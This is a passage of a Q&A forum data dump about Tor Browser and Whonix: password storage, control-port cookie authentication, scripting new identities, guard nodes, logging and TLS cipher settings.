  <row Id="1427" PostTypeId="1" CreationDate="2014-02-01T00:54:18.410" Score="21" ViewCount="31906" Body="&lt;p&gt;The &lt;code&gt;Remember passwords&lt;/code&gt; option in Tor Browser is greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In past versions of the Tor Browser Bundle there was a setting in Tor Button, but in v3.5 it's no longer there. How can I store passwords in Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="1055" LastEditorUserId="923" LastEditDate="2014-03-06T16:47:30.370" LastActivityDate="2019-10-18T12:52:26.847" Title="How to store passwords in Tor Browser?" Tags="|tor-browser-bundle|tor-button|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostTypeId="2" ParentId="1420" CreationDate="2014-02-01T01:01:44.620" Score="1" Body="&lt;p&gt;I don't know about &lt;a href=&quot;http://www.genymotion.com/&quot; rel=&quot;nofollow&quot;&gt;Genymotion&lt;/a&gt;. It doesn't look like it's internally using VirtualBox or any other virtualizer such as KVM, qemu, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I wouldn't know how to put the Android VM behind a Whonix-Gateway VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see only two alternatives.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try installing the Android VM inside a Whonix&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems&quot; rel=&quot;nofollow&quot;&gt;(-Custom)&lt;/a&gt;-Workstation.&lt;/li&gt;&#xA;&lt;li&gt;Or use &lt;a href=&quot;https://www.whonix.org/wiki/Physical%20Isolation&quot; rel=&quot;nofollow&quot;&gt;Whonix with Physical Isolation&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-02-01T01:01:44.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1429" PostTypeId="2" ParentId="1377" CreationDate="2014-02-01T02:46:50.697" Score="2" Body="&lt;p&gt;Don't do this. Pick a single User-Agent string and stick to it. You aren't fooling the web sites you visit, and that's what counts here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After years of running websites, I can tell you that it is trivially easy to spot a user agent which is rotating its User-Agent string. They usually get IP banned because they're almost always malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So not only do you stand out, but you also &lt;em&gt;look&lt;/em&gt; to the webmaster like a spambot. Until you load up the images, CSS and possibly JavaScript. Then you just look strange and memorable. Which, I think, is exactly the opposite of what you want.&lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2014-02-01T02:46:50.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostTypeId="1" AcceptedAnswerId="3593" CreationDate="2014-02-01T03:08:32.737" Score="1" ViewCount="229" Body="&lt;p&gt;In consideration of recent article by &lt;a href=&quot;http://daserste.ndr.de/panorama/aktuell/NSA-targets-the-privacy-conscious,nsa230.html&quot; rel=&quot;nofollow&quot;&gt;Das Erste&lt;/a&gt; publication, do bridges, and Pluggable Transports bridges utilization hinder anonymity and are essentially circumvention tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following, please find an excerpt from Das Erste:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This code demonstrates the ease with which an XKeyscore rule can analyze the full content of intercepted connections. The fingerprint first checks every message using the &quot;email_address&quot; function to see if the message is to or from &quot;bridges@torproject.org&quot;. Next, if the address matched, it uses the &quot;email_body&quot; function to search the full content of the email for a particular piece of text - in this case, &quot;&lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&quot;. If the &quot;email_body&quot; function finds what it is looking for, it passes the full email text to a C++ program which extracts the bridge addresses and stores them in a database. The full content of the email must already be intercepted before this code can analyze it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-22T01:01:28.090" LastActivityDate="2014-07-22T01:01:28.090" Title="Do utilization of bridges and/or Pluggable Transports bridges hinder anonymity?" Tags="|anonymity|bridge|pluggable-transports|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostTypeId="1" CreationDate="2014-02-01T13:55:49.723" Score="3" ViewCount="185" Body="&lt;p&gt;Would Tor help protect against hacks/ID theft? My particular concern is for when Windows XP security patches are no longer available as I really don't want to upgrade my OS.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastEditorUserId="923" LastEditDate="2014-02-28T23:04:43.800" LastActivityDate="2014-02-28T23:04:43.800" Title="Would using Tor help keep hackers from getting passwords or other private info?" Tags="|security|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1434" PostTypeId="2" ParentId="1432" CreationDate="2014-02-01T16:17:19.713" Score="2" Body="&lt;p&gt;Because Windows XP are mentioned I guess that you mean attacks targeted at clients (not servers). Let's look at some possible attack vectors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Attacks from malicious or compromised websites or other services&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Through Tor you connect to the same services using the same protocols as without Tor. The main difference is that the communication between you and the Tor exit node is encrypted and that the service does not see your IP address. There are no important differences regarding your vulnerability.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Malware distributed by e-mail or mobile media&lt;/strong&gt; (like flash drives)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here Tor is not much involved in the distribution path. There will be almost no difference but see the &quot;call home&quot; below.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Attacks using redirection of your traffic by compromised DNS&lt;/strong&gt; (name -&gt; IP address resolution)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor uses a modified resolution mechanisms. Some attacks of this type targeted at non-Tor machines could be less effective here.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Attack on the communication path close to the client&lt;/strong&gt; (on the home network, company LAN, premises of the ISP...)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here Tor will help because the communication at the attack points is encrypted by it but this is not a very common attack vector.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition to the above: If your system allows only toriffied connection through an explicit local proxy (SOCKS) then it could make &quot;call home&quot; of a malware difficult but the malware creators could introduce new malware which will be able to communicate through the Tor proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summarised: &lt;strong&gt;In general Tor will not improve resistance of your system to common attacks.&lt;/strong&gt; Tor is a tool which allows you to improve your anonymity and confidentiality when properly used and when your system is secure against attacks. It will not protect you against attacks targeted at vulnerabilities of your system.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-02-01T16:17:19.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1435" PostTypeId="1" CreationDate="2014-02-01T20:31:48.203" Score="1" ViewCount="3775" Body="&lt;p&gt;If my computer has a wireless connection to a Verizon wireless base connected via cable, do I need to do anything special before I can rely on Tor anonymity or can I just download Tor, install and browse with privacy?&lt;/p&gt;&#xA;" OwnerUserId="1065" LastEditorUserId="923" LastEditDate="2014-03-06T16:47:18.120" LastActivityDate="2014-03-06T16:47:18.120" Title="Connecting to Tor through Verizon" Tags="|tor-browser-bundle|anonymity|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1436" PostTypeId="2" ParentId="1406" CreationDate="2014-02-01T23:02:09.547" Score="2" Body="&lt;p&gt;Use a live CD, that way any virus or Trojans Horse are eliminated by a reboot, change your mac address in case a zero day tries to sniff it and don't use any add-ons.&lt;/p&gt;&#xA;" OwnerUserId="1066" LastEditorUserId="923" LastEditDate="2014-12-18T18:35:14.887" LastActivityDate="2014-12-18T18:35:14.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1437" PostTypeId="2" ParentId="1324" CreationDate="2014-02-02T11:27:29.097" Score="2" Body="&lt;p&gt;Sorry, I don't really understand your main question, but I'll do my best to answer the others.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How actually a descriptor look like (encoding) ? is there any format or size limit for descriptor on HSdir?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Descriptors are encoded as plain text and are fetched via regular HTTP (performed over a Tor circuit, ofcourse).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where descriptors are hosted? who are HSdirs? Tor relays who donate their disk space for hosting these messages?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hidden service descriptors are hosted by HSDirs (hidden service directories), which are just onion-routers (Tor relays) who meet a few conditions such as having a certain amount of uptime.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How Alice find descriptor for Bob from DHT?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The DHT (distributed hash table) is made up of HSDirs.&#xA;The HSDirs that are used by a hidden service are selected using a function of time and the service's onion-address. When a client wants to download a hidden service's descriptors they calculate the hidden service's HSDirs and download them from there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wiki says truncated SHA1 is not secure (i say full SHA1 is not secure either) but attacker would not be able to impersonate already existing hidden services! how he can't?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Work is currently being done to switch Tor to newer encryption and hashing algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK it &lt;strong&gt;is&lt;/strong&gt; possible to impersonate a hidden service, but it's considered computationally infeasible. Once the hidden service's protocol is updated it will be even more difficult to do so.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-02-02T11:27:29.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1438" PostTypeId="1" AcceptedAnswerId="1453" CreationDate="2014-02-02T12:55:16.843" Score="5" ViewCount="6757" Body="&lt;p&gt;In the new Tor browser bundle is there any way to change new identity programmatically, since there is no Vidalia bundle?&lt;/p&gt;&#xA;" OwnerUserId="1044" LastEditorUserId="5445" LastEditDate="2015-05-27T19:50:01.703" LastActivityDate="2015-11-24T15:25:28.630" Title="In the new Tor browser bundle how to change identity programmatically?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1439" PostTypeId="1" AcceptedAnswerId="1448" CreationDate="2014-02-02T17:44:46.650" Score="1" ViewCount="353" Body="&lt;p&gt;Once in a while &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; shows different IP address than &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org&lt;/a&gt; . An example is illustrated below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;check.torproject.org&lt;/em&gt;  shows: Congratulations. This browser is configured to use Tor.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Your IP address appears to be: 161.53.74.122&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While Atlas shows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Details for: UVic1100&lt;/strong&gt;&lt;br /&gt;&#xA;  &lt;strong&gt;General&lt;/strong&gt; Overall information on the Tor relay&lt;br /&gt;&#xA;  &lt;strong&gt;Configuration&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Nickname&lt;/strong&gt;&lt;br /&gt;&#xA;       UVic1100&lt;br /&gt;&#xA;     &lt;strong&gt;OR Addresses&lt;/strong&gt;&lt;br /&gt;&#xA;         142.104.68.93:443&lt;br /&gt;&#xA;     &lt;strong&gt;Contact&lt;/strong&gt;&lt;br /&gt;&#xA;         undefined&lt;br /&gt;&#xA;     &lt;strong&gt;Dir Address&lt;/strong&gt;&lt;br /&gt;&#xA;     &lt;strong&gt;Advertised Bandwidth&lt;/strong&gt;&lt;br /&gt;&#xA;         73.71 KB/s&lt;br /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-02-02T22:21:30.340" LastActivityDate="2014-02-03T14:56:59.040" Title="Why sometimes Atlas shows different IP address than https://check.torproject.org?" Tags="|exit-relays|atlas|torcheck|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1440" PostTypeId="2" ParentId="1438" CreationDate="2014-02-02T18:03:27.710" Score="1" Body="&lt;p&gt;You can change identity using green Tor button. This is the best choice. However, you still can activate Vidalia manually and change identity that way. (not recommended)&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-02-02T18:03:27.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1442" PostTypeId="1" CreationDate="2014-02-02T20:15:55.010" Score="2" ViewCount="7350" Body="&lt;p&gt;After installing the last version of Tor, connection works good (I checked it ). When I open the &lt;a href=&quot;http://kpvz7ki2v5agwt35.onion/&quot; rel=&quot;nofollow&quot;&gt;hidden wiki&lt;/a&gt;, it doesn't work. After long time loading it tells me &lt;code&gt;The connection has timed out&lt;/code&gt;.&#xA;Is there another link?&lt;/p&gt;&#xA;" OwnerUserId="1072" LastEditorUserId="923" LastEditDate="2014-07-23T00:11:05.550" LastActivityDate="2022-04-23T22:10:22.683" Title="The Hidden Wiki not opening" Tags="|tor-browser-bundle|onion-services|windows|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostTypeId="1" AcceptedAnswerId="1454" CreationDate="2014-02-02T21:50:07.683" Score="2" ViewCount="2621" Body="&lt;p&gt;The current version of the Tor Browser Bundle doesn't contain Vidalia. Therefore it is quite hard to have a look in the log file and to find relevant messages. What is the best way to set up logging using version 3.5 or later of Tor Browser Bundle? How can I open the log file? How can this be done in GNU/Linux, Windows and Mac OS X?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-04T16:03:16.063" Title="How can I set up logging with latest Tor Browser?" Tags="|tor-browser-bundle|mac|windows|linux|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1444" PostTypeId="2" ParentId="1435" CreationDate="2014-02-02T22:03:29.850" Score="1" Body="&lt;p&gt;The connection via Verizon is not different from any other Internet connection. Just follow the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;installation instruction&lt;/a&gt; and make sure to verify the signature (this &lt;a href=&quot;https://media.torproject.org/video/torbrowser-docs/How-to-verify-signatures-in-Windows.mp4&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; shows some details). After you have extracted all files you can click on &lt;code&gt;Start Tor Browser&lt;/code&gt; and browse the Web.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-02T22:03:29.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1445" PostTypeId="1" CreationDate="2014-02-03T07:32:13.653" Score="1" ViewCount="323" Body="&lt;p&gt;I am using the latest version of the Tor Browser Bundle. I have created an account for &lt;a href=&quot;http://www.goodreads.com/&quot; rel=&quot;nofollow&quot;&gt;Goodreades&lt;/a&gt;. After the account creation I was automatically logged in and was able to use the site. Today I tried to login again, but the screen just refreshes and nothing happens. At first I thought I had forgotten my password, but even after a password reset I was not able to login. I suppose this is a more general issue, then related to Goodreads. What settings should I change in order to be able to login?&lt;/p&gt;&#xA;" OwnerUserId="1075" LastActivityDate="2014-11-14T17:14:16.600" Title="Cannot login to goodreads.com using Tor" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-05T21:17:28.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostTypeId="1" CreationDate="2014-02-03T12:51:26.807" Score="2" ViewCount="265" Body="&lt;p&gt;I've been trying to get Software like Jitsi to work on whonix, however it keeps saying either there is an issue with the login information or something wrong with the network settings. I tried using this setup on my normal setup, i.e no whonix/Yor and logs into my sip account without any issues. &lt;/p&gt;&#xA;" OwnerUserId="1076" LastEditorUserId="923" LastEditDate="2014-09-18T13:51:14.510" LastActivityDate="2014-09-18T13:51:14.510" Title="Unable to use sip-based voip software" Tags="|whonix|" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-25T06:13:49.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="1448" PostTypeId="2" ParentId="1439" CreationDate="2014-02-03T14:56:59.040" Score="1" Body="&lt;p&gt;This problem is actively discussed in the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10499&quot; rel=&quot;nofollow&quot;&gt;bug report #10499&lt;/a&gt;. It seems there is a bug in TorDNSEL. It might be a good idea to follow the report. So you get updates on the issue. I'll also try to update to answer if there is a solution.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-03T14:56:59.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostTypeId="1" AcceptedAnswerId="1450" CreationDate="2014-02-03T17:13:47.543" Score="3" ViewCount="3063" Body="&lt;p&gt;I tried connecting to tor in TBB 3.5.1, OS X 10.8.5 using &lt;code&gt;telnet localhost 9151&lt;/code&gt; but since CookieAuthentication is set it requires authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CookieAuthentication 0|1 If this option is set to 1, allow connections&#xA;  on the control port when the connecting process knows the contents of&#xA;  a file named &quot;control_auth_cookie&quot;, which Tor will create in its data&#xA;  directory. This authentication method should only be used on systems&#xA;  with good filesystem security. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked RFCs and other sources for TELNET/telnet but I couldn't find any information on this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I authenticate using the cookie?&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2014-02-04T21:08:21.627" Title="authenticate telnet connection" Tags="|tor-browser-bundle|configuration|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostTypeId="2" ParentId="1449" CreationDate="2014-02-03T19:50:00.047" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Locate the file &lt;code&gt;control_auth_cookie&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;code&gt;hexdump -e '32/1 &quot;%02x&quot;&quot;\n&quot;' $COOKIEFILE&lt;/code&gt; where &lt;code&gt;$COOKIEFILE&lt;/code&gt; is the location of the file from step 1.&lt;/li&gt;&#xA;&lt;li&gt;Copy the output&lt;/li&gt;&#xA;&lt;li&gt;Open a shell and enter &lt;code&gt;telnet 127.0.0.1 9151&lt;/code&gt;. If you can't get a connection check if Tor listens on that port. Other versions listens on port &lt;code&gt;9050&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When you see a prompt enter &lt;code&gt;AUTHENTICATE $OUTPUTFROM2&lt;/code&gt; where &lt;code&gt;$OUTPUTFROM2&lt;/code&gt; is the output  you copied from step 2.&lt;/li&gt;&#xA;&lt;li&gt;Tor prints &lt;code&gt;250 OK&lt;/code&gt; and you're done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you like to put the steps above in a program, I'd suggest a shell script plus &lt;code&gt;expect&lt;/code&gt;. In the &lt;a href=&quot;https://tor.stackexchange.com/a/1453/88&quot;&gt;answer&lt;/a&gt; to '&lt;a href=&quot;https://tor.stackexchange.com/q/1438/88&quot;&gt;New tor bundle how to change identity programmatically?&lt;/a&gt;' I described how to do it for &lt;code&gt;NEWNYM&lt;/code&gt;. You just need to insert the line &lt;code&gt;send -- &quot;getinfo circuit-status&quot;&lt;/code&gt; at the correct line.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-02-04T21:08:21.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostTypeId="2" ParentId="1416" CreationDate="2014-02-03T22:48:30.570" Score="1" Body="&lt;p&gt;The guard nodes are individual per Tor process. So if you have a GNU/Linux machine and a local Tor daemon installed and also use the Tor Browser Bundle as packaged version, there are two Tor binaries on your system. Both use a different set of guard nodes and does not synchronise them in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the guard nodes of your Tor process by looking at the &lt;code&gt;state&lt;/code&gt; file. Either in your &lt;code&gt;Data/Tor&lt;/code&gt; directory or on &lt;code&gt;/var/lib/tor&lt;/code&gt; there is a file called &lt;code&gt;state&lt;/code&gt;. There are several lines like the following inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryGuardAddedBy 530E1038C3D2F746657B51F97831F9F422747180 0.2.4.18-rc 2013-11-11 15:04:43&#xA;EntryGuardPathBias 112.000000 112.000000 109.000000 3.000000 0.000000 4.000000&#xA;EntryGuardPathUseBias 34.000000 34.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each line describes the guard node your client uses or has used. If you delete those lines your Tor process will choose a new set of guard nodes.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-03T22:48:30.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostTypeId="2" ParentId="1438" CreationDate="2014-02-03T23:21:18.500" Score="1" Body="&lt;p&gt;I'm not aware of some ready-made solution. However you could write an expect script for your shell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part reads out the cookie file and calls the &lt;code&gt;expect&lt;/code&gt; script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;COOKIEFILE=/var/lib/tor/control_auth_cookie&#xA;if [ -f $COOKIEFILE  ]; then&#xA;  COOKIE=$(hexdump -e '32/1 &quot;%02x&quot;&quot;\n&quot;' $COOKIEFILE)&#xA;else&#xA;  echo &quot;Cookie not found&quot;&#xA;  return 1&#xA;fi&#xA;&#xA;expect -f tor-newnym.exp $COOKIE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;expect&lt;/code&gt; script is just an idea. Maybe you'll need to set some additional values later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/expect -f&#xA;set cookie [lindex $argv 0]&#xA;spawn telnet 127.0.0.1 9050&#xA;expect -exact &quot;Trying 127.0.0.1...\r&#xA;Connected to 127.0.0.1.\r&#xA;Escape character is '^]'.\r&#xA;&quot;&#xA;send -- &quot;AUTHENTICATE $cookie\r&quot;&#xA;expect -exact &quot;250 OK\r&#xA;&quot;&#xA;send -- &quot;signal NEWNYM\r&#xA;&quot;&#xA;expect -exact &quot;250 OK\r&#xA;&quot;&#xA;send -- &quot;quit\r&quot;&#xA;expect eof&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This takes the cookies and sends it to the Tor process. However please be aware that the port of your Tor process might be another one. Furthermore the chain of command might be too fast, so you have to slow it down.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-03T23:21:18.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostTypeId="2" ParentId="1443" CreationDate="2014-02-04T15:50:17.170" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt; you should be able to find the log files in the following paths:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On OS X, Debian, Ubuntu, Red Hat, etc.: &lt;code&gt;/var/log/tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Windows: no default log files on Windows. If you enable logging in &lt;code&gt;torrc&lt;/code&gt; file, logs would appear in &lt;code&gt;\username\Application Data\tor\log\&lt;/code&gt; or &lt;code&gt;\Application Data\tor\log\&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can always &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;nofollow&quot;&gt;set up custom logging&lt;/a&gt; by editing you &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, add the following line to your &lt;code&gt;torrc&lt;/code&gt; file to log at the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#LogLevel&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;debug&lt;/code&gt; level&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Log debug file /path/to/log/tor_debug.log&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can then open/inspect Tor logs using text editors, specialized log viewers (e.g. &lt;a href=&quot;https://help.gnome.org/users/gnome-system-log&quot; rel=&quot;nofollow&quot;&gt;Gnome System Log Viewer&lt;/a&gt;) or command lines tools such as &lt;code&gt;grep&lt;/code&gt; and &lt;code&gt;tail&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="731" LastEditorUserId="731" LastEditDate="2014-02-04T16:03:16.063" LastActivityDate="2014-02-04T16:03:16.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostTypeId="1" AcceptedAnswerId="1456" CreationDate="2014-02-04T17:56:42.303" Score="6" ViewCount="1234" Body="&lt;p&gt;I recently visited &lt;a href=&quot;https://www.howsmyssl.com/&quot;&gt;https://www.howsmyssl.com/&lt;/a&gt; with TorBrowser Bundle 3.5 and the rating was alarming. In particular, the site informed me that the cipher SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA was insecure and that TLS 1.0 was also a risk.&#xA;I realize that customizing the browser in any way diminishes my anonymity by increasing my fingerprint, but I would prefer more secure SSL over improved anonymity. What are my options to improve this ? &lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="923" LastEditDate="2014-02-28T20:55:03.677" LastActivityDate="2014-02-28T21:43:44.583" Title="How can I improve my SSL/TLS security?" Tags="|tor-browser-bundle|security|fingerprinting|tls|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostTypeId="2" ParentId="1455" CreationDate="2014-02-04T18:07:12.297" Score="5" Body="&lt;p&gt;One possible solution is to disable the offending cipher by visiting &lt;code&gt;about:config&lt;/code&gt; and setting the ciphers you don't want to false. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;security.ssl3.rsa_fips_des_ede3_sha    false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also improve your security by allowing TLS1.1 and 1.2 which are disabled by default in Firefox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;security.tls.version.max               3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See my &lt;a href=&quot;https://blog.samwhited.com/2014/01/fixing-tls-in-firefox/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; on the topic for more info (and for why this isn't the default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always keep in mind that sites like How's my SSL are useful tools, but that there might be other consequences (aside from fingerprinting) that aren't immediately obvoius.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-02-28T21:43:44.583" LastActivityDate="2014-02-28T21:43:44.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1457" PostTypeId="2" ParentId="1455" CreationDate="2014-02-04T20:07:34.310" Score="4" Body="&lt;p&gt;The site is not quite right about the &lt;code&gt;SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA&lt;/code&gt; cipher. As I wrote in my &lt;a href=&quot;http://kubieziel.de/blog/archives/1564-Using-SSL-securely-in-your-browser.html&quot; rel=&quot;nofollow&quot;&gt;blog post on configuring SSL in a secure way&lt;/a&gt; this is not a bad cipher. It offers the same security as other cyphers which are considered secure by the &lt;a href=&quot;https://howsmyssl.com/&quot; rel=&quot;nofollow&quot;&gt;HowsMySSL-site&lt;/a&gt;. So it is not necessary to disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to disable it, enter &lt;code&gt;about:config&lt;/code&gt; in the address bar. The site will first print a warning, so be careful with changes. The following site has a search bar, enter &lt;code&gt;fips&lt;/code&gt; there and you'll find the cipher. You can set it to false by double-clicking on the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Sam wrote you should also raise the enabled TLS versions. Just enter &lt;code&gt;version&lt;/code&gt; into the address bar and set &lt;code&gt;security.tls.version.max&lt;/code&gt; to 3 (double-click). However Firefox just &lt;a 